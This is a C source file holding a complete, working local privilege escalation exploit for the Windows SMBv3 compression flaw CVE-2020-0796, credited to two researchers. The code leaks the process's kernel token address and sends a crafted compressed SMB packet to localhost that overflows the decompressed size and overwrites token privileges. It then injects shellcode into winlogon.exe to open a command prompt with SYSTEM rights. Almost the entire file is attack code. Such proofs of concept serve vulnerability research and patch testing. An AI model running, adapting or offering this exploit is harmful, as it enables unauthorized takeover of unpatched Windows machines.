/*
 * CVE-2020-0796 LPE
 * 
 * Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com
 * Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com
 * Date: 03/29/2020
 *
 **/

#include <stdio.h>
#include <stdint.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <TlHelp32.h>
#include "ntos.h"

#pragma comment(lib, "ws2_32.lib")

ULONG64 get_handle_addr(HANDLE h) {
	ULONG len = 20;
	NTSTATUS status = (NTSTATUS)0xc0000004;
	PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
	do {
		len *= 2;
		pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
		status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len);
	} while (status == (NTSTATUS)0xc0000004);

	if (status != (NTSTATUS)0x0) {
		printf("NtQuerySystemInformation() failed with error: %#x\n", status);
		return 1;
	}

	DWORD mypid = GetProcessId(GetCurrentProcess());
	ULONG64 ptrs[1000] = { 0 };
	for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) {
		PVOID object = pHandleInfo->Handles[i].Object;
		ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue;
		DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId;
		if (pid != mypid)
			continue;
		if (handle == (ULONG_PTR)h)
			return (ULONG64)object;
	}
	return -1;
}

ULONG64 get_process_token() {
	HANDLE token;
	HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
	if (proc == INVALID_HANDLE_VALUE)
		return 0;

	OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);
	ULONG64 ktoken = get_handle_addr(token);

	return ktoken;
}

int error_exit(SOCKET sock, const char* msg) {
	int err;
	if (msg != NULL) {
		printf("%s failed with error: %d\n", msg, WSAGetLastError());
	}
	if ((err = closesocket(sock)) == SOCKET_ERROR) {
		printf("closesocket() failed with error: %d\n", WSAGetLastError());
	}
	WSACleanup();
	return EXIT_FAILURE;
}

int send_negotiation(SOCKET sock) {
	int err = 0;
	char response[8] = { 0 };

	const uint8_t buf[] = {
		/* NetBIOS Wrapper */
		0x00,                   /* session */
		0x00, 0x00, 0xC4,       /* length */

		/* SMB Header */
		0xFE, 0x53, 0x4D, 0x42, /* protocol id */
		0x40, 0x00,             /* structure size, must be 0x40 */
		0x00, 0x00,             /* credit charge */
		0x00, 0x00,             /* channel sequence */
		0x00, 0x00,             /* channel reserved */
		0x00, 0x00,             /* command */
		0x00, 0x00,             /* credits requested */
		0x00, 0x00, 0x00, 0x00, /* flags */
		0x00, 0x00, 0x00, 0x00, /* chain offset */
		0x00, 0x00, 0x00, 0x00, /* message id */
		0x00, 0x00, 0x00, 0x00, 
		0x00, 0x00, 0x00, 0x00, /* reserved */
		0x00, 0x00, 0x00, 0x00, /* tree id */
		0x00, 0x00, 0x00, 0x00, /* session id */
		0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, /* signature */
		0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00,

		/* SMB Negotiation Request */
		0x24, 0x00,             /* structure size */
		0x08, 0x00,             /* dialect count, 8 */
		0x00, 0x00,             /* security mode */
		0x00, 0x00,             /* reserved */
		0x7F, 0x00, 0x00, 0x00, /* capabilities */
		0x01, 0x02, 0xAB, 0xCD, /* guid */
		0x01, 0x02, 0xAB, 0xCD,
		0x01, 0x02, 0xAB, 0xCD,
		0x01, 0x02, 0xAB, 0xCD,
		0x78, 0x00,             /* negotiate context */
		0x00, 0x00,             /* additional padding */
		0x02, 0x00,             /* negotiate context count */
		0x00, 0x00,             /* reserved 2 */
		0x02, 0x02,             /* dialects, SMB 2.0.2 */
		0x10, 0x02,             /* SMB 2.1 */
		0x22, 0x02,             /* SMB 2.2.2 */
		0x24, 0x02,             /* SMB 2.2.3 */
		0x00, 0x03,             /* SMB 3.0 */
		0x02, 0x03,             /* SMB 3.0.2 */
		0x10, 0x03,             /* SMB 3.0.1 */
		0x11, 0x03,             /* SMB 3.1.1 */
		0x00, 0x00, 0x00, 0x00, /* padding */

		/* Preauth context */
		0x01, 0x00,             /* type */
		0x26, 0x00,             /* length */
		0x00, 0x00, 0x00, 0x00, /* reserved */
		0x01, 0x00,             /* hash algorithm count */
		0x20, 0x00,             /* salt length */
		0x01, 0x00,             /* hash algorith, SHA512 */
		0x00, 0x00, 0x00, 0x00, /* salt */
		0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00,
		0x00, 0x00,             /* pad */

		/* Compression context */
		0x03, 0x00,             /* type */
		0x0E, 0x00,             /* length */
		0x00, 0x00, 0x00, 0x00, /* reserved */
		0x02, 0x00,             /* compression algorithm count */
		0x00, 0x00,             /* padding */
		0x01, 0x00, 0x00, 0x00, /* flags */
		0x02, 0x00,             /* LZ77 */
		0x03, 0x00,             /* LZ77+Huffman */
		0x00, 0x00, 0x00, 0x00, /* padding */
		0x00, 0x00, 0x00, 0x00
	};
	
	if ((err = send(sock, (const char *)buf, sizeof(buf), 0)) != SOCKET_ERROR) {
		recv(sock, response, sizeof(response), 0); 
	}

	return err;
}

int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {
	int err = 0;
	char response[8] = { 0 };

	const uint8_t buf[] = {
		/* NetBIOS Wrapper */
		0x00,
		0x00, 0x00, 0x33,

		/* SMB Header */
		0xFC, 0x53, 0x4D, 0x42, /* protocol id */
		0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
		0x02, 0x00,             /* compression algorithm, LZ77 */
		0x00, 0x00,             /* flags */
		0x10, 0x00, 0x00, 0x00, /* offset */
	};

	uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);
	if (packet == NULL) {
		printf("Couldn't allocate memory with malloc()\n");
		return error_exit(sock, NULL);
	}

	memcpy(packet, buf, sizeof(buf));
	*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
	*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
	memcpy(packet + sizeof(buf) + 0x10, buffer, len);

	if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {
		recv(sock, response, sizeof(response), 0);
	}

	free(packet);
	return err;
}

void inject(void) {
	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	uint8_t shellcode[] = {
		 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54,
		 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
		 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
		 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
		 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
		 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,
		 0xff, 0xc2, // inc edx (1 = SW_SHOW)
		 0xFF, 0xD7, 0x48, 0x83, 0xC4,
		 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00
	};

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	int pid = -1;
	if (Process32First(snapshot, &entry) == TRUE) {
		while (Process32Next(snapshot, &entry) == TRUE) {
			if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {
				pid = entry.th32ProcessID;
				break;
			}
		}
	}
	CloseHandle(snapshot);

	if (pid < 0) {
		printf("Could not find process\n");
		return;
	}
	printf("Injecting shellcode in winlogon...\n");

	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hProc == NULL) {
		printf("Could not open process\n");
		return;
	}

	LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (lpMem == NULL) {
		printf("Remote allocation failed\n");
		return;
	}		
	if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) {
		printf("Remote write failed\n");
		return;
	}	
	if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {
		printf("CreateRemoteThread failed\n");
		return;
	}

	printf("Success! ;)\n");
}

int main(int argc, char* argv[]) {
	WORD wVersionRequested = MAKEWORD(2, 2);
	WSADATA wsaData = { 0 };
	SOCKET sock = INVALID_SOCKET;
	uint64_t ktoken = 0;

	int err = 0;

	printf("-= CVE-2020-0796 LPE =-\n");
	printf("by @danigargu and @dialluvioso_\n\n");

	if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {
		printf("WSAStartup() failed with error: %d\n", err);
		return EXIT_FAILURE;
	}

	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
		printf("Couldn't find a usable version of Winsock.dll\n");
		WSACleanup();
		return EXIT_FAILURE;
	}

	sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (sock == INVALID_SOCKET) {
		printf("socket() failed with error: %d\n", WSAGetLastError());
		WSACleanup();
		return EXIT_FAILURE;
	}

	sockaddr_in client;
	client.sin_family = AF_INET;
	client.sin_port = htons(445);
	InetPton(AF_INET, "127.0.0.1", &client.sin_addr);

	if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) {
		return error_exit(sock, "connect()");
	}

	printf("Successfully connected socket descriptor: %d\n", (int)sock);
	printf("Sending SMB negotiation request...\n");

	if (send_negotiation(sock) == SOCKET_ERROR) {
		printf("Couldn't finish SMB negotiation\n");
		return error_exit(sock, "send()");
	}

	printf("Finished SMB negotiation\n");
	ULONG buffer_size = 0x1110;
	UCHAR *buffer = (UCHAR *)malloc(buffer_size);
	if (buffer == NULL) {
		printf("Couldn't allocate memory with malloc()\n");
		return error_exit(sock, NULL);
	}

	ktoken = get_process_token();
	if (ktoken == -1) {
		printf("Couldn't leak ktoken of current process...\n");
		return EXIT_FAILURE;
	}

	printf("Found kernel token at %#llx\n", ktoken);

	memset(buffer, 'A', 0x1108);
	*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */

	ULONG CompressBufferWorkSpaceSize = 0;
	ULONG CompressFragmentWorkSpaceSize = 0;
	err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS, 
		&CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);

	if (err != STATUS_SUCCESS) {
		printf("RtlGetCompressionWorkSpaceSize() failed with error: %d\n", err);
		return error_exit(sock, NULL);
	}

	ULONG FinalCompressedSize;
	UCHAR compressed_buffer[64];
	LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);
	if (lpWorkSpace == NULL) {
		printf("Couldn't allocate memory with malloc()\n");
		return error_exit(sock, NULL);
	}

	err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,
		compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);

	if (err != STATUS_SUCCESS) {
		printf("RtlCompressBuffer() failed with error: %#x\n", err);
		free(lpWorkSpace);
		return error_exit(sock, NULL);
	}
	
	printf("Sending compressed buffer...\n");

	if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {
		return error_exit(sock, "send()");
	}

	printf("SEP_TOKEN_PRIVILEGES changed\n");
	inject();

	WSACleanup();
	return EXIT_SUCCESS;
}
